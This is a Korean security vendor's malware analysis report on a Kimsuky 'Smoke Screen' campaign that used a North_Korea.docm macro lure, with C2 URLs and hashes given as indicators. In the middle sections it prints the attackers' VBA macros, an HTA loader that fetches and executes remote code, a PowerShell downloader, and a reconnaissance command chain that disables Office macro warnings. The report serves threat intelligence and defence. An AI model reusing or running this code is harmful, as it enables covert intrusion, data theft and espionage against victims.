포스팅 내용

악성코드 분석 리포트

북한 파일명으로 보고된 Kimsuky 조직의 '스모크 스크린' PART 3




안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다.


ESRC는 지난 4월부터 정부기반 해킹그룹 '김수키(Kimsuky)' 조직의 APT 캠페인 '스모크 스크린(Smoke Screen)' 활동에 대해 공개한 바 있으며, 이들은 한국과 미국을 대상으로 지속적인 위협활동에 가담하고 있습니다.


특히, 김수키 조직원 중 일부가 여러 프리랜서 사이트에 가입해 각종 프로그램 외주개발 활동에 참여한 실체를 처음으로 공개한 바 있고, 이들이 해외 비트코인 커뮤니티에서 은밀히 코인 거래 중인 사실도 밝혀냈습니다.


과거 은둔 기밀 첩보활동에서 벗어나 카카오톡, 텔레그램, 스카이프 등의 온라인 메신저를 통해 개인간 직접 연락을 시도하는 과감한 활동성도  보여주고 있습니다.





■ 북한 파일명 이름의 '스모크 스크린' 활동 뒤늦게 발견



ESRC에서는 2019년 3월 13일 제작된 '스모크 스크린' 캠페인의 또 다른 악성 파일이 존재하는 것을 확인했습니다.


새롭게 발견된 악성 파일은 기존처럼 MS Word DOC 문서형식이며, 파일명은 북한의 영문 표기로 되어 있습니다.


또한, 매크로 기능 활성화를 위해 DOCM 확장자가 사용되었으며, '스모크 스크린' 보고서에서 여러차례 언급됐던 'windowsmb' 계정이 사용되었습니다.



 파일명

 작성자

 최종 수정일 (UTC)

 최종 수정자

 MD5

 North_Korea.docm

 Administrator

 2019-03-13 08:05

 windowsmb

 5c5bf32736a852c1a1c40d0ae5b8ec33



2019년 02월~04월까지 제작된 변종들을 시간대 계정별로 정리하면 다음과 같습니다.



 File Name 

 Task_Force_report.doc

 Last Modified Date (KST)

 2019-03-05 18:17

 Last Modified Name

 windowsmb

 C2

 https://christinadudley[.]com/public_html/includes/common/Qfnaq.hta

 MD5

 e68b11bef48e8e88cba7e3c93fac5eab



 File Name 

 Task_Force_report.doc

 Last Modified Date (KST)

 2019-03-05 18:18

 Last Modified Name

 windowsmb

 C2

 https://christinadudley[.]com/public_html/includes/common/Qfnaq.hta

 MD5

 0f77143ce98d0b9f69c802789e3b1713



 File Name 

 Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc

 Last Modified Date (KST)

 2019-03-21 17:42

 Last Modified Name

 windowsmb

 C2

 https://login-main.bigwnet[.]com/attachment/view/Msgxo0.hta

 MD5

 7ca1a603a7440f1031c666afbe44afc8



 File Name 

 Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc

 Last Modified Date (KST)

 2019-03-26 09:45

 Last Modified Name

 windowsmb

 C2

 n/a

 MD5

 60973af3b8ecbbb0ab659124409b7df1



 File Name 

 Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc

 Last Modified Date (KST)

 2019-03-27 10:06

 Last Modified Name

 windowsmb

 C2

 n/a

 MD5

 2ff911b042e5d94dd78f744109851326



 File Name 

 TaskForceReport.doc

 Last Modified Date (KST)

 2019-04-01 17:15

 Last Modified Name

 windowsmb

 C2

 https://tdalpacafarm[.]com//wp-includes/Text/Diff/common/Htqgf0.hta

 MD5

 d400adcd06e0a07549e2465c9c500c45



 File Name

 The_Progress_and_Promise_of_the_Moon-Kim_Summit.doc

 Last Modified Date (KST)

 2019-04-09 17:02

 Last Modified Name

 windowsmb

 C2

 https://carolcolecatholicartist[.]com/wp-includes/js/jquery/articles/Mzfmj0.hta

 MD5

 03dbc1b3d79a4ff70f06fd6e67e00985



악성파일은 복수의 C2 서버가 사용되었는데, 마치 국제연합(UN) 도메인(unite.un.org)처럼 위장한 사례도 존재합니다.



 - reunionhomesok[.]com/wp-includes/js/view/North_Korea.docm

 - www.sso.unite.un.org.joelwisian[.]com/view/North_Korea.docm



[그림 1] 악성파일이 C2 서버에 등록된 화면



실제 공격은 지난 03월에 수행됐을 가능성이 높으며, 뒤늦게 관련 악성 파일이 보고된 상태로 추정되고, 공격자 서버에는 다양한 악성 코드들이 함께 사용되었습니다.



North_Korea.docm 악성 문서 파일 분석



North_Korea.docm 파일이 실행되면 다음과 같은 화면이 출력되고, 이용자로 하여금 [콘텐츠 사용] 버튼 클릭을 유도하게 만듭니다.


이때 사용된 클릭 유도 문구가 영어인 이유는 주로 위협 대상자가 영어권 일때 사용되며, 만약 한국이 대상일 경우엔 보통 HWP 취약점 문서나 한글 문구가 사용됩니다.



[그림 2] 콘텐츠 사용을 유도하는 허위 문구 화면



악성 문서 내부에는 다음과 같은 악성 VBA 매크로 코드가 포함되어 있으며, [콘텐츠 사용]을 허용할 경우 실행됩니다.



Attribute VB_Name = "ThisDocument"

Attribute VB_Base = "1Normal.ThisDocument"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Attribute VB_TemplateDerived = True

Attribute VB_Customizable = True

Attribute VB_Control = "TextBox1, 9, 0, MSForms, TextBox"

Attribute VB_Control = "TextBox11, 8, 1, MSForms, TextBox"

Attribute VB_Control = "TextBox13, 7, 2, MSForms, TextBox"

Attribute VB_Control = "TextBox18, 6, 3, MSForms, TextBox"

Attribute VB_Control = "TextBox19, 5, 4, MSForms, TextBox"

Attribute VB_Control = "TextBox12, 4, 5, MSForms, TextBox"

Attribute VB_Control = "TextBox14, 3, 6, MSForms, TextBox"

Attribute VB_Control = "TextBox15, 2, 7, MSForms, TextBox"

Attribute VB_Control = "TextBox16, 1, 8, MSForms, TextBox"

Attribute VB_Control = "TextBox17, 0, 9, MSForms, TextBox"

Private Sub Document_New()


End Sub


Private Sub Document_Open()

Shell (TextBox11.Text + TextBox13.Text + TextBox12.Text + TextBox14.Text + TextBox1.Text + TextBox15.Text + TextBox16.Text + "." + TextBox12.Text + TextBox14.Text + TextBox1.Text)

End Sub


' module: NewMacros


Attribute VB_Name = "NewMacros" 



'vbaProject.bin' 파일 내부에 선언된 C2 주소로 접속하고, 'mshta.exe' 프로세스에 의해 악성 스크립트가 실행됩니다.



[그림 3] 내부에 숨겨져 있는 C2 주소



https://reunionhomesok[.]com/wp-includes/js/view/Duxuu0.hta


<html><script language="VBScript">On Error Resume Next:Function Co00(c):L=Len(c):s="":For jx=0 To d-1:For ix=0 To Int(L/d)-1:s=s&Mid(c,ix*d+jx+1,1):Next:Next:s=s&Right(c,L-Int(L/d)*d):Co00=s:End Function:Set Post0 = CreateObject("MSXML2.ServerXMLHTTP.6.0"):Post0.open "GET", "https://reunionhomesok[.]com/wp-includes/js/view/expres.php?op=1", False:Post0.Send:t0=Post0.responseText:d=13:t0=Co00(t0):Execute(t0):window.close()</script></html> 


⇒ https://reunionhomesok[.]com/wp-includes/js/view/expres.php?op=1



인코딩되어 있는 'expres.php' 파일이 디코딩되면 다음과 같은 코드로 변환되고, 추가적인 코드들이 'powershell.exe 프로세스에 의해 실행됩니다.



set objFSO=CreateObject("Scripting.FileSystemObject")

folder = wShell.ExpandEnvironmentStrings("%appdata%")

DotmPath_src = folder & "\Microsoft\Normal.src"

DotmPath = folder & "\Microsoft\Templates\Normal.dotm"

retu=wShell.run("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $a=$env:computername;$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UNICODE.GetBytes($a));$url='https://reunionhomesok[.]com/wp-includes/js/view/cow.php?op=Normal.src&id='+$b;(New-Object System.Net.WebClient).DownloadFile($url,'"&DotmPath_src&"');$content = [IO.File]::ReadAllBytes('"&DotmPath_src&"');if($content.length -ne 5){$aa = Get-Process -Name abcabcdddddfd*;while(1){ sleep(3);$a = Get-Process -Name winword*;if ($a -eq $aa){break;}}copy '"&DotmPath_src&"' '"&DotmPath&"';sleep(3);}del '"&DotmPath_src&"'",0,false) 



'cow.php' 코드가 실행된 후 'Normal.src' 파일이 로드되는데, 이번에는 해당 코드가 정확히 확인되진 않았습니다. 다만, 'cow.php' 파일은 과거 감염된 컴퓨터의 오피스 보안설정을 변경하고, 이용자 정보를 수집하는 등의 기능이 사용되었습니다.



cmd.exe /c powershell.exe $TestAccess = New-Item -Path C:\Windows\System32\UACtest.txt -Type file -ErrorAction SilentlyContinue; & whoami>>"%appdata%\Microsoft\ttmp.log"&hostname>>"%appdata%\Microsoft\ttmp.log"&ipconfig>>"%appdata%\Microsoft\ttmp.log"&net user>>"%appdata%\Microsoft\ttmp.log"& arp -a>>"%appdata%\Microsoft\ttmp.log"&dir "%appdata%\Microsoft">>"%appdata%\Microsoft\ttmp.log" /s&dir "%systemroot%\SysWOW64\WindowsPowerShell\">>"%appdata%\Microsoft\ttmp.log" /s&dir "%programfiles%">>"%appdata%\Microsoft\ttmp.log"& dir "%programfiles% (x86)">>"%appdata%\Microsoft\ttmp.log" & dir "%programdata%\Microsoft\Windows\Start Menu">>"%appdata%\Microsoft\ttmp.log"& dir "%programdata%\Microsoft\Windows\Start Menu\Programs">>"%appdata%\Microsoft\ttmp.log" & dir "%appdata%\Microsoft\Windows\Recent" & tasklist>>"%appdata%\Microsoft\ttmp.log" &vol c: d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z: >>"%appdata%\Microsoft\ttmp.log"& dir "%userprofile%\Downloads" >> "%appdata%\Microsoft\ttmp.log"&dir "%userprofile%\Documents" >> "%appdata%\Microsoft\ttmp.log" /s&dir "%userprofile%\AppData\Local\Google\Chrome\User Data\Default" >> "%appdata%\Microsoft\ttmp.log"&reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security" /v VBAWarnings /t REG_DWORD /d "1" /f & reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Security" /v VBAWarnings /t REG_DWORD /d "1" /f&reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security" /v VBAWarnings /t REG_DWORD /d "1" /f&reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security" /v VBAWarnings /t REG_DWORD /d "1" /f& reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security" /v VBAWarnings /t REG_DWORD /d "1" /f& reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security" /v VBAWarnings /t REG_DWORD /d "1" /f& reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security">>"%appdata%\Microsoft\ttmp.log"&reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Security">>"%appdata%\Microsoft\ttmp.log"&reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security">>"%appdata%\Microsoft\ttmp.log"&reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security">>"%appdata%\Microsoft\ttmp.log"&reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security">>"%appdata%\Microsoft\ttmp.log"&reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security">>"%appdata%\Microsoft\ttmp.log"&reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles">>"%appdata%\Microsoft\ttmp.log" /s&reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles">>"%appdata%\Microsoft\ttmp.log" /s&reg query "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Profiles">>"%appdata%\Microsoft\ttmp.log" /s&reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles">>"%appdata%\Microsoft\ttmp.log" /s&reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles">>"%appdata%\Microsoft\ttmp.log" /s & tasklist >>"%appdata%\Microsoft\ttmp.log" & dir "C:\Windows\System32\UACtest.txt">>"%appdata%\Microsoft\ttmp.log"&del "C:\Windows\System32\UACtest.txt"&del "%appdata%\tmp.bat" 



따라서 이번에도 유사한 기능이 사용되었을 것으로 추정되며, 'Normal.src' 파일을 실행하는데 사용될 것으로 보입니다.


'Normal.src' 파일은 실제 MS Word DOC 문서파일이며, 'North_Korea.doc.docm' 파일과 동일하게 작성자와 최종 수정자 계정명이 'windowsmb' 입니다.


내부에 다음과 같은 매크로 코드가 포함되어 있습니다.



' module: ThisDocument


Attribute VB_Name = "ThisDocument"

Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Attribute VB_TemplateDerived = False

Attribute VB_Customizable = True


' module: NewMacros


Attribute VB_Name = "NewMacros"

Sub autoopen()

'

' autoopen Macro

'

'

Shell ("mshta https://reunionhomesok[.]com/wp-includes/js/view/Duxuu.hta")

End Sub



이를 통해 'Duxuu.hta' 스크립트가 작동하는 구조를 가지고 있으며, 기존 사례를 봤을 때 C2 서버에 있던 추가 악성파일을 설치('expres.php?op=2)하는 용도로 사용됐을 것으로 예상됩니다.


그리고 서버에는 'North_Korea.doc' 정상 문서 파일도 존재하는데, 악성 파일이 실행된 후 보여지는 용도로 사용됩니다.



[그림 4] 북한 미사일 내용을 담고 있는 정상 문서 화면



■ 결론



ESRC에서는 '스모크 스크린' 캠페인과 관련해 지속적인 관찰과 추적분석을 진행하고 있습니다. 이들 위협조직이 한국과 미국 등의 주요 기관과 기업을 상대로 은밀한 APT 위협활동을 해오고 있다는 점에 주목하고 있습니다.


김수키 조직은 수년간 한국과 미국의 주요 기관 및 기업을 대상으로 APT 공격을 수행하고 있을 뿐만 아니라, 미국내 북한분야 연구 조직에 대한 공격도 수행하는 등 갈수록 대담해지고 있습니다.


이처럼 국가 차원의 사이버 첩보전이 치열해지고 있는 상황에서, 공격 그룹에 대한 다양한 정보 수집과 인텔리전스 협력을 통해 보다 신속한 대응안이 필요합니다.


유사 위협에 사용된 도구와 침해지표(IoC) 등을 '쓰렛 인사이드(Threat Inside)' 위협 인텔리전스 리포트를 통해 별도로 제공할 예정입니다.




티스토리 방명록 작성
name password homepage